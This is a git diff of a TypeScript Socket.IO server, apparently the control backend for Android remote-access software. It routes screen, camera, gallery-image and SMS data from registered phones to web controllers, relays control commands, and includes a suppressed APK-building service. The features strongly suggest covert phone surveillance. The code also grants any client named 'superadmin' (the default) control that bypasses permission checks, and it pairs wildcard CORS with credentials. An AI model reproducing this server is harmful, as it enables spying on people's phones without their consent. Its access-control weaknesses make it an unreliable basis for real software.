this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`,
|
||||
currentController
|
||||
}
|
||||
}
|
||||
|
||||
// 如果客户端已在控制其他设备,先释放
|
||||
if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) {
|
||||
this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
// 建立控制关系
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
client.lastSeen = new Date()
|
||||
|
||||
// 🔐 如果客户端有用户ID,将权限持久化到数据库
|
||||
if (client.userId && this.databaseService) {
|
||||
this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control')
|
||||
this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`)
|
||||
}
|
||||
|
||||
this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: '控制权获取成功'
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 释放设备控制权
|
||||
*/
|
||||
releaseDeviceControl(deviceId: string): boolean {
|
||||
const controllerId = this.deviceControllers.get(deviceId)
|
||||
if (controllerId) {
|
||||
const client = this.clients.get(controllerId)
|
||||
if (client) {
|
||||
const previousDevice = client.controllingDeviceId
|
||||
client.controllingDeviceId = undefined
|
||||
this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`)
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`)
|
||||
}
|
||||
|
||||
this.deviceControllers.delete(deviceId)
|
||||
this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`)
|
||||
return true
|
||||
} else {
|
||||
this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备控制者
|
||||
*/
|
||||
getDeviceController(deviceId: string): string | undefined {
|
||||
return this.deviceControllers.get(deviceId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查客户端是否有设备控制权
|
||||
*/
|
||||
hasDeviceControl(clientId: string, deviceId: string): boolean {
|
||||
// 🛡️ 记录权限检查审计日志
|
||||
this.logPermissionOperation(clientId, deviceId, '权限检查')
|
||||
|
||||
// 🔐 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
|
||||
// 🆕 超级管理员绕过权限检查
|
||||
if (client?.username) {
|
||||
const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin'
|
||||
if (client.username === superAdminUsername) {
|
||||
// <20> 关键修复:superadmin绕过检查时,也必须建立控制关系
|
||||
// 否则 getDeviceController() 查不到控制者,routeScreenData 会丢弃所有屏幕数据
|
||||
if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) {
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`)
|
||||
} else {
|
||||
this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`)
|
||||
}
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 🔐 首先检查内存中的控制权
|
||||
const memoryControl = this.deviceControllers.get(deviceId) === clientId
|
||||
if (memoryControl) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 🔐 如果内存中没有控制权,检查数据库中的用户权限
|
||||
if (client?.userId && this.databaseService) {
|
||||
const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control')
|
||||
if (hasPermission) {
|
||||
// 🔐 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`)
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 向指定客户端发送消息
|
||||
*/
|
||||
sendToClient(clientId: string, event: string, data: any): boolean {
|
||||
const socket = this.getClientSocket(clientId)
|
||||
if (socket) {
|
||||
socket.emit(event, data)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 向所有客户端广播消息
|
||||
*/
|
||||
broadcastToAll(event: string, data: any): void {
|
||||
if (this.io) {
|
||||
let activeClients = 0
|
||||
// 只向Web客户端广播,且过滤掉已断开的连接
|
||||
for (const [socketId, clientId] of this.socketToClient.entries()) {
|
||||
const socket = this.io.sockets.sockets.get(socketId)
|
||||
if (socket && socket.connected) {
|
||||
socket.emit(event, data)
|
||||
activeClients++
|
||||
}
|
||||
}
|
||||
this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 向控制指定设备的客户端发送消息
|
||||
*/
|
||||
sendToDeviceController(deviceId: string, event: string, data: any): boolean {
|
||||
const controllerId = this.deviceControllers.get(deviceId)
|
||||
if (controllerId) {
|
||||
return this.sendToClient(controllerId, event, data)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新客户端活跃时间
|
||||
*/
|
||||
updateClientActivity(socketId: string): void {
|
||||
const clientId = this.socketToClient.get(socketId)
|
||||
if (clientId) {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.lastSeen = new Date()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理不活跃的客户端
|
||||
*/
|
||||
cleanupInactiveClients(timeoutMs: number = 600000): void {
|
||||
const now = Date.now()
|
||||
const clientsToRemove: string[] = []
|
||||
|
||||
for (const [clientId, client] of this.clients.entries()) {
|
||||
if (now - client.lastSeen.getTime() > timeoutMs) {
|
||||
clientsToRemove.push(clientId)
|
||||
}
|
||||
}
|
||||
|
||||
clientsToRemove.forEach(clientId => {
|
||||
this.removeClient(clientId)
|
||||
})
|
||||
|
||||
if (clientsToRemove.length > 0) {
|
||||
this.logger.info(`已清理 ${clientsToRemove.length} 个不活跃的Web客户端`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取客户端统计信息
|
||||
*/
|
||||
getClientStats(): {
|
||||
total: number
|
||||
controlling: number
|
||||
idle: number
|
||||
} {
|
||||
const clients = Array.from(this.clients.values())
|
||||
return {
|
||||
total: clients.length,
|
||||
controlling: clients.filter(c => c.controllingDeviceId).length,
|
||||
idle: clients.filter(c => !c.controllingDeviceId).length,
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 恢复用户的设备权限
|
||||
*/
|
||||
restoreUserPermissions(userId: string, clientId: string): void {
|
||||
if (!this.databaseService) {
|
||||
this.logger.warn('数据库服务未初始化,无法恢复用户权限')
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
// 获取用户的所有设备权限
|
||||
const permissions = this.databaseService.getUserDevicePermissions(userId)
|
||||
|
||||
if (permissions.length > 0) {
|
||||
this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`)
|
||||
|
||||
// 恢复第一个设备的控制权(优先恢复用户之前的权限)
|
||||
for (const permission of permissions) {
|
||||
if (permission.permissionType === 'control') {
|
||||
// 直接恢复权限,不检查冲突(因为这是用户自己的权限恢复)
|
||||
this.deviceControllers.set(permission.deviceId, clientId)
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.controllingDeviceId = permission.deviceId
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`)
|
||||
break // 只恢复第一个设备
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('恢复用户权限失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 设置客户端用户信息
|
||||
*/
|
||||
setClientUserInfo(clientId: string, userId: string, username: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.userId = userId
|
||||
client.username = username
|
||||
this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`)
|
||||
|
||||
// 🛡️ 记录安全审计日志
|
||||
this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🛡️ 记录权限操作审计日志
|
||||
*/
|
||||
private logPermissionOperation(clientId: string, deviceId: string, operation: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default WebClientManager
|
||||
320
src/server.ts
Normal file
320
src/server.ts
Normal file
@@ -0,0 +1,320 @@
|
||||
import express from 'express';
|
||||
import http from 'http';
|
||||
import cors from 'cors';
|
||||
import { Server } from 'socket.io';
|
||||
import DeviceManager from './managers/DeviceManager';
|
||||
import WebClientManager from './managers/WebClientManager';
|
||||
import { DatabaseService } from './services/DatabaseService';
|
||||
import MessageRouter from './services/MessageRouter';
|
||||
import Logger from './utils/Logger';
|
||||
|
||||
const app = express();
|
||||
const server = http.createServer(app);
|
||||
const logger = new Logger('Server');
|
||||
|
||||
// CORS配置
|
||||
app.use(cors({
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
}));
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
|
||||
// 🔧 传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
|
||||
// 🔧 缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
|
||||
// 🔧 连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
|
||||
// 🔧 Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
sameSite: "strict"
|
||||
}
|
||||
});
|
||||
|
||||
// 管理器初始化
|
||||
const databaseService = new DatabaseService();
|
||||
const deviceManager = new DeviceManager();
|
||||
const webClientManager = new WebClientManager(databaseService);
|
||||
const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService);
|
||||
|
||||
// 设置Socket.IO实例
|
||||
webClientManager.setSocketIO(io);
|
||||
|
||||
// 健康检查端点
|
||||
app.get('/health', (req, res) => {
|
||||
const stats = {
|
||||
status: 'ok',
|
||||
timestamp: new Date().toISOString(),
|
||||
devices: deviceManager.getDeviceCount(),
|
||||
webClients: webClientManager.getClientCount(),
|
||||
uptime: process.uptime()
|
||||
};
|
||||
res.json(stats);
|
||||
});
|
||||
|
||||
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
|
||||
const device: any = {
|
||||
id: deviceInfo.deviceId,
|
||||
socketId: socket.id,
|
||||
name: deviceInfo.deviceName,
|
||||
model: deviceInfo.deviceModel,
|
||||
osVersion: deviceInfo.osVersion,
|
||||
appVersion: deviceInfo.appVersion,
|
||||
screenWidth: deviceInfo.screenWidth,
|
||||
screenHeight: deviceInfo.screenHeight,
|
||||
capabilities: deviceInfo.capabilities,
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date(),
|
||||
status: 'online' as const
|
||||
};
|
||||
|
||||
deviceManager.addDevice(device);
|
||||
databaseService.saveDevice(deviceInfo, socket.id);
|
||||
|
||||
// 通知所有Web客户端有新设备连接
|
||||
const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
|
||||
// ui_hierarchy_response监听器已在全局设置,无需重复添加
|
||||
});
|
||||
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
socketId: socket.id,
|
||||
userAgent: clientInfo.userAgent || 'unknown',
|
||||
ip: socket.handshake.address || 'unknown',
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date()
|
||||
};
|
||||
|
||||
webClientManager.addClient(clientData);
|
||||
|
||||
// 发送当前设备列表
|
||||
const devices = deviceManager.getAllDevices();
|
||||
socket.emit('device_list', devices);
|
||||
});
|
||||
|
||||
// 屏幕数据路由
|
||||
socket.on('screen_data', (data) => {
|
||||
messageRouter.routeScreenData(socket.id, data);
|
||||
});
|
||||
|
||||
// 摄像头数据路由
|
||||
socket.on('camera_data', (data) => {
|
||||
messageRouter.routeCameraData(socket.id, data);
|
||||
});
|
||||
|
||||
// 相册图片数据路由
|
||||
socket.on('gallery_image', (data) => {
|
||||
messageRouter.routeGalleryImage(socket.id, data);
|
||||
});
|
||||
|
||||
// 短信数据路由
|
||||
socket.on('sms_data', (data) => {
|
||||
messageRouter.routeSmsData(socket.id, data);
|
||||
});
|
||||
|
||||
// 控制命令路由
|
||||
socket.on('control_command', (message) => {
|
||||
messageRouter.routeControlMessage(socket.id, message);
|
||||
});
|
||||
|
||||
// 摄像头控制命令路由
|
||||
socket.on('camera_control', (message) => {
|
||||
// 将摄像头控制消息转换为标准控制消息格式
|
||||
const controlMessage = {
|
||||
type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
|
||||
deviceId: message.deviceId,
|
||||
data: message.data || {},
|
||||
timestamp: Date.now()
|
||||
};
|
||||
messageRouter.routeControlMessage(socket.id, controlMessage);
|
||||
});
|
||||
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
} catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
// 设备控制请求
|
||||
socket.on('request_device_control', (data) => {
|
||||
const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
|
||||
socket.emit('device_control_response', {
|
||||
success: result.success,
|
||||
message: result.message,
|
||||
deviceId: data.deviceId
|
||||
});
|
||||
});
|
||||
|
||||
// 释放设备控制
|
||||
socket.on('release_device_control', (data) => {
|
||||
const released = webClientManager.releaseDeviceControl(data.deviceId);
|
||||
if (released) {
|
||||
socket.emit('device_control_released', { deviceId: data.deviceId });
|
||||
}
|
||||
});
|
||||
|
||||
// 客户端事件路由
|
||||
socket.on('client_event', (eventData) => {
|
||||
logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
|
||||
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
|
||||
});
|
||||
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
|
||||
// 调试:捕获所有未处理的事件
|
||||
const originalEmit = socket.emit;
|
||||
const originalOn = socket.on;
|
||||
|
||||
// 记录所有接收到的事件
|
||||
socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
|
||||
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
}
|
||||
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
|
||||
socket.on('disconnect', (reason) => {
|
||||
const duration = Math.round((Date.now() - connectionStart) / 1000);
|
||||
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
|
||||
|
||||
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
|
||||
// 更新数据库中的断开连接记录
|
||||
databaseService.updateDisconnection(socket.id);
|
||||
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
|
||||
// 通知所有Web客户端设备已断开
|
||||
webClientManager.broadcastToAll('device_disconnected', {
|
||||
deviceId: device.id
|
||||
});
|
||||
} else {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// 全局错误处理
|
||||
process.on('unhandledRejection', (reason, promise) => {
|
||||
logger.error('未处理的Promise拒绝:', reason);
|
||||
});
|
||||
|
||||
process.on('uncaughtException', (error) => {
|
||||
logger.error('未捕获的异常:', error);
|
||||
process.exit(1);
|
||||
});
|
||||
|
||||
const PORT = process.env.PORT || 3000;
|
||||
|
||||
server.listen(PORT, () => {
|
||||
logger.info(`🚀 服务器启动在端口 ${PORT}`);
|
||||
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
});
|
||||
|
||||
export default server;
|
||||
2405
src/services/APKBuildService.ts
Normal file
2405
src/services/APKBuildService.ts
Normal file
File diff suppressed because it is too large
Load Diff
278
src/services/AdaptiveQualityService.ts
Normal file
278
src/services/AdaptiveQualityService.ts
Normal file
@@ -0,0 +1,278 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 自适应画质控制服务
|
||||
*
|
||||
* 参考billd-desk的参数化质量控制思路,但通过服务器中继实现(非P2P直连)。
|
||||
* 服务端作为中间人,收集Web端的网络质量反馈,转发给Android端调整采集参数。
|
||||
*/
|
||||
|
||||
interface QualityProfile {
|
||||
fps: number
|
||||
quality: number // JPEG质量 (25-80)
|
||||
maxWidth: number
|
||||
maxHeight: number
|
||||
label: string
|
||||
}
|
||||
|
||||
interface DeviceQualityState {
|
||||
deviceId: string
|
||||
currentProfile: string // 当前质量档位名
|
||||
fps: number
|
||||
quality: number
|
||||
maxWidth: number
|
||||
maxHeight: number
|
||||
// 统计
|
||||
frameCount: number
|
||||
lastFrameTime: number
|
||||
avgFrameSize: number
|
||||
frameSizeWindow: number[]
|
||||
// Web端反馈
|
||||
clientFps: number
|
||||
clientDropRate: number
|
||||
lastFeedbackTime: number
|
||||
}
|
||||
|
||||
const QUALITY_PROFILES: Record<string, QualityProfile> = {
|
||||
low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' },
|
||||
medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
}
|
||||
|
||||
export class AdaptiveQualityService {
|
||||
private logger = new Logger('AdaptiveQuality')
|
||||
private deviceStates = new Map<string, DeviceQualityState>()
|
||||
private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧
|
||||
private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次
|
||||
private autoAdjustTimer: NodeJS.Timeout | null = null
|
||||
|
||||
constructor() {
|
||||
this.startAutoAdjust()
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取或创建设备质量状态
|
||||
*/
|
||||
private getOrCreateState(deviceId: string): DeviceQualityState {
|
||||
if (!this.deviceStates.has(deviceId)) {
|
||||
const defaultProfile = QUALITY_PROFILES.medium
|
||||
this.deviceStates.set(deviceId, {
|
||||
deviceId,
|
||||
currentProfile: 'medium',
|
||||
fps: defaultProfile.fps,
|
||||
quality: defaultProfile.quality,
|
||||
maxWidth: defaultProfile.maxWidth,
|
||||
maxHeight: defaultProfile.maxHeight,
|
||||
frameCount: 0,
|
||||
lastFrameTime: 0,
|
||||
avgFrameSize: 0,
|
||||
frameSizeWindow: [],
|
||||
clientFps: 0,
|
||||
clientDropRate: 0,
|
||||
lastFeedbackTime: 0,
|
||||
})
|
||||
}
|
||||
return this.deviceStates.get(deviceId)!
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录收到的帧(服务端统计用)
|
||||
*/
|
||||
recordFrame(deviceId: string, frameSize: number): void {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.frameCount++
|
||||
state.lastFrameTime = Date.now()
|
||||
state.frameSizeWindow.push(frameSize)
|
||||
if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) {
|
||||
state.frameSizeWindow.shift()
|
||||
}
|
||||
state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理Web端的质量反馈
|
||||
*/
|
||||
handleClientFeedback(deviceId: string, feedback: {
|
||||
fps: number
|
||||
dropRate: number
|
||||
renderLatency?: number
|
||||
}): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.clientFps = feedback.fps
|
||||
state.clientDropRate = feedback.dropRate
|
||||
state.lastFeedbackTime = Date.now()
|
||||
|
||||
// 根据反馈决定是否需要调整
|
||||
if (feedback.dropRate > 0.1) {
|
||||
// 丢帧率>10%,降低质量
|
||||
return this.adjustDown(deviceId)
|
||||
} else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) {
|
||||
// 丢帧率<2%且帧率接近目标,可以尝试提升
|
||||
return this.adjustUp(deviceId)
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* Web端手动设置质量档位
|
||||
*/
|
||||
setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null {
|
||||
const profile = QUALITY_PROFILES[profileName]
|
||||
if (!profile) return null
|
||||
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
state.currentProfile = profileName
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
return { params: profile }
|
||||
}
|
||||
|
||||
/**
|
||||
* Web端手动设置自定义参数(参考billd-desk的精细控制)
|
||||
*/
|
||||
setCustomParams(deviceId: string, params: {
|
||||
fps?: number
|
||||
quality?: number
|
||||
maxWidth?: number
|
||||
maxHeight?: number
|
||||
}): { params: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps))
|
||||
if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality))
|
||||
if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth))
|
||||
if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight))
|
||||
state.currentProfile = 'custom'
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
return {
|
||||
params: {
|
||||
fps: state.fps,
|
||||
quality: state.quality,
|
||||
maxWidth: state.maxWidth,
|
||||
maxHeight: state.maxHeight,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 降低质量
|
||||
*/
|
||||
private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
const profileOrder = ['ultra', 'high', 'medium', 'low']
|
||||
const currentIdx = profileOrder.indexOf(state.currentProfile)
|
||||
|
||||
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
|
||||
const nextProfile = profileOrder[currentIdx + 1]
|
||||
const profile = QUALITY_PROFILES[nextProfile]
|
||||
state.currentProfile = nextProfile
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
// 已经是最低档,尝试进一步降低fps
|
||||
if (state.fps > 3) {
|
||||
state.fps = Math.max(3, state.fps - 2)
|
||||
this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
return { shouldAdjust: true, newParams: { fps: state.fps } }
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* 提升质量
|
||||
*/
|
||||
private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial<QualityProfile> } {
|
||||
const state = this.getOrCreateState(deviceId)
|
||||
const profileOrder = ['low', 'medium', 'high', 'ultra']
|
||||
const currentIdx = profileOrder.indexOf(state.currentProfile)
|
||||
|
||||
if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') {
|
||||
const nextProfile = profileOrder[currentIdx + 1]
|
||||
const profile = QUALITY_PROFILES[nextProfile]
|
||||
state.currentProfile = nextProfile
|
||||
state.fps = profile.fps
|
||||
state.quality = profile.quality
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
return { shouldAdjust: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* 自动调整定时器
|
||||
*/
|
||||
